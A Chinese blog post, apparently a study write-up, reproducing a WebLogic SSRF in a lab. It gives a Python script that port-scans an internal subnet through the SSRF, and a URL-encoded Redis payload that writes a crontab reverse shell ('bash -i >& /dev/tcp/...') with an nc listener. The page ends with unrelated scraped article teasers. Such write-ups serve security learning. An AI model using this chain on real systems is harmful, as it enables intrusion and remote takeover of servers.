爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz

SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细想,SSRF漏洞还是挺重要的,不鸣则已,一鸣惊人,一但利用成功,还是很牛批。比如说SSRF + XXE ,SSRF + redis ,,

仔细想想,上面这段话,一般对,一半不对,不先探测内网咋知道都开启了哪些服务,有哪些漏洞。当然,有的时候也没准有别的漏洞也可以探测内网环境。

对了,这里十分推荐特别经典的SSRF教材,猪猪侠SSRF PPT

关于weblogic 的介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

weblogic  漏洞影响的版本是 weblogic 10.0.2 -- 10.3.6  从Oracle 官网最低只找到了10.3.6的版本, 因为安装weblogic需要卸载jdk,就看了几遍别人总结的文章,权当自己也复现过了。

文章来源: https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html

其中有一部需要反弹shell,当时练这个是啥都不知道

昨天先去学习了shell语言,因为练啥是反弹shell之前都没见过,,比较逗比的事情就是昨天还再群里问各位大佬,为啥我这个shell根本反弹不了(当时用的bash命令,用的Windows系统。。。。)

然后去安装了一上午redis....原谅我有点笨

参考的文章: https://www.cnblogs.com/hunanzp/p/12304622.html   写的很不错

接下来就是SSRF的一种利用方式,注入HTTP头,可以使用burp抓包或者用hackbar把编码好的语句直接插入进去,利用redis反弹shell

简要过程

先判断是否存在SSRF漏洞,确定之后在判断C段中都有哪些存活主机,然后探测此主机开放的端口,这里需要注意的是,如果端口是开放的,访问会显示 404 或者 403 禁止,如果端口是关闭的,则会显示 400 不存在,或者连不上

这里我们可以用一个小脚本来测试哪些常见端口开放

import thread
import time
import re
import requests def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3) def scan(final_ip): //直接修改vul_url即可
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"

端口测试回显   weblogic测试的时候返回的不同状态

  • 端口存在返回状态码returned a 404 error code
  • 端口不存在but could not connect over HTTP to server
  • 非http协议:did not have a valid SOAP content-type 协议没写:no protocol

具体返回什么你可以试一试,反正如果存在SSRF漏洞,端口存在和不存在返回的状态一定是不同的,(你可以一个个去试,也可以写个python脚本,还有一个简单方法就是用brup爆破模块探测C段主机和端口的开放)

节省时间,就自己到docker里去查看了一下ip

探测出开启了redis服务

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor
=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/

这里主要是operator=这里可进行操作,直接redis写shell就可以,

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

解码之后就是这样,这里一定要注意编码问题,换行是  %0d%0a  ,用工具转换的话只有

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。

(关于redis写shell,在分类里面有文章专门介绍),

这里需要声明的是权限必须是root权限,否则无法进行写shell,不过对于redis攻击还有一种方法不需要root权限也可以进行利用,就是利用redis的主从模式,详细文章在分类里面有介绍。

原理就是把shell写到crontab定时任务里面,然后再改名成root,这么做的原因是在  /var/spool/cron/   这个目录下root 是会系统定时执行的(需要注意,不同的操作系统,写文件的目录有所不同,在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建)

这里需要强调一点就是编码的问题,部分代码需要手动编码!!!!

(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)

现在SSRF直接利用redis写shell的情况应该不是很多,主要的原因就是权限问题,利用redis写shell需要root权限,而新版本的redis以redis权限启动,并且一般用户都是以普通用户权限开启redis服务。

小米SSRF漏洞

http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779

体验盒子 SSRF漏洞文章

https://www.uedbox.com/post/10524/

先知社区 红日安全的SSRF  写的很不错!!

https://xz.aliyun.com/t/6235

SSRF深入学习的更多相关文章

  1. ssrf漏洞学习(PHP)

    自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...

  2. 简单的SSRF的学习

    自己眼中的SSRF 成因 服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等) 一SSRF配合redis未授 ...

  3. SSRF漏洞学习

    SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...

  4. 2019-11-28:ssrf基础学习,笔记

    ssrf服务端请求伪造ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网 ...

  5. CEYE平台的使用

    0x01 CEYE 是什么 CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求.它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / R ...

  6. phpStudy后门分析及复现

    参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883 感谢大佬分享!! SSRF漏洞学习终于告一段落,很早就知道phpstu ...

  7. SSRF 跨站请求伪造学习笔记

    参考文章: 了解SSRF,这一篇就足够了 SSRF 学习之路 SSRF绕过方法总结 Weblogic SSRF漏洞 What-是什么 SSRF(Server-Side Request Forgery) ...

  8. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  9. SSRF学习

    前言 SSRF(Server-Side Request Forgery ,服务器端请求伪造) 是一种由攻击者构造形成由服务器发起请求的一个安全漏洞 SSRF的主要攻击目标为外网无法访问的内部系统. 本 ...

随机推荐

  1. jQuery 根据value设置radio默认选中

    jQuery 根据value设置radio默认选中:HTML: <input type="radio" name="type" value="1 ...

  2. centos克隆虚拟机

    首先我们把所要克隆的虚拟机关机,然后在所要克隆的虚拟机上右键,选择管理,选择克隆,出现如下界面: 点击下一步,选择虚拟机的当前状态,继续点击下一步 接着选择创建完整克隆,选择这个时,表明克隆出来的这个 ...

  3. [python学习手册-笔记]003.数值类型

    003.数值类型 ❝ 本系列文章是我个人学习<python学习手册(第五版)>的学习笔记,其中大部分内容为该书的总结和个人理解,小部分内容为相关知识点的扩展. 非商业用途转载请注明作者和出 ...

  4. 【电子取证:抓包篇】Fiddler 抓包配置与数据分析(简)

    Fiddler 抓包配置与分析(简) 简单介绍了Fiddler抓包常用到的基础知识,看完可以大概明白怎么分析抓包数据 ---[suy999]   Fiddler 抓包工具,可以将网络传输发送与接受的数 ...

  5. LeetCode周赛#206

    1583. 统计不开心的朋友 #模拟 #暴力 题目链接 题意 有n为朋友,对每位朋友i,preference[i]包含 按亲密度从大到小 的朋友编号. 朋友们会被分为若干对,配对情况由pairs数组给 ...

  6. Java基础教程——多线程:创建线程

    多线程 进程 每一个应用程序在运行时,都会产生至少一个进程(process). 进程是操作系统进行"资源分配和调度"的独立单位. Windows系统的"任务管理器&quo ...

  7. vue获取微博授权URL

    1.在Vue**页面加载时动态发送请求获取微博授权url 1.1 在 components\common\lab_header.vue 中写oauth动态获取微 博授权URL // 获取微博登录地址 ...

  8. VC与VB

    VB调用VC dll的返回方式 第一种类型:数值传递注意:在VB中,默认变量传递方式为ByRef为地址,而传递值就是用ByVal,还要注意在C++中,int类型的变量是32位的,在VB中要用long型 ...

  9. Docsify+腾讯云对象存储 COS,一键搭建云上静态博客

    最近一直在想如何利用 COS 简化静态博客的搭建过程.搜了很多的静态博客搭建过程,发现大部分的静态博客都要通过编译才能生成静态页面.功夫不负有心人,终于让我找到了一个超简洁博客的搭建方法. 效果预览 ...

  10. Docker实战 | 第二篇:IDEA集成Docker插件实现一键自动打包部署微服务项目,一劳永逸的技术手段值得一试

    一. 前言 大家在自己玩微服务项目的时候,动辄十几个服务,每次修改逐一部署繁琐不说也会浪费越来越多时间,所以本篇整理通过一次性配置实现一键部署微服务,实现真正所谓的一劳永逸. 二. 配置服务器 1. ...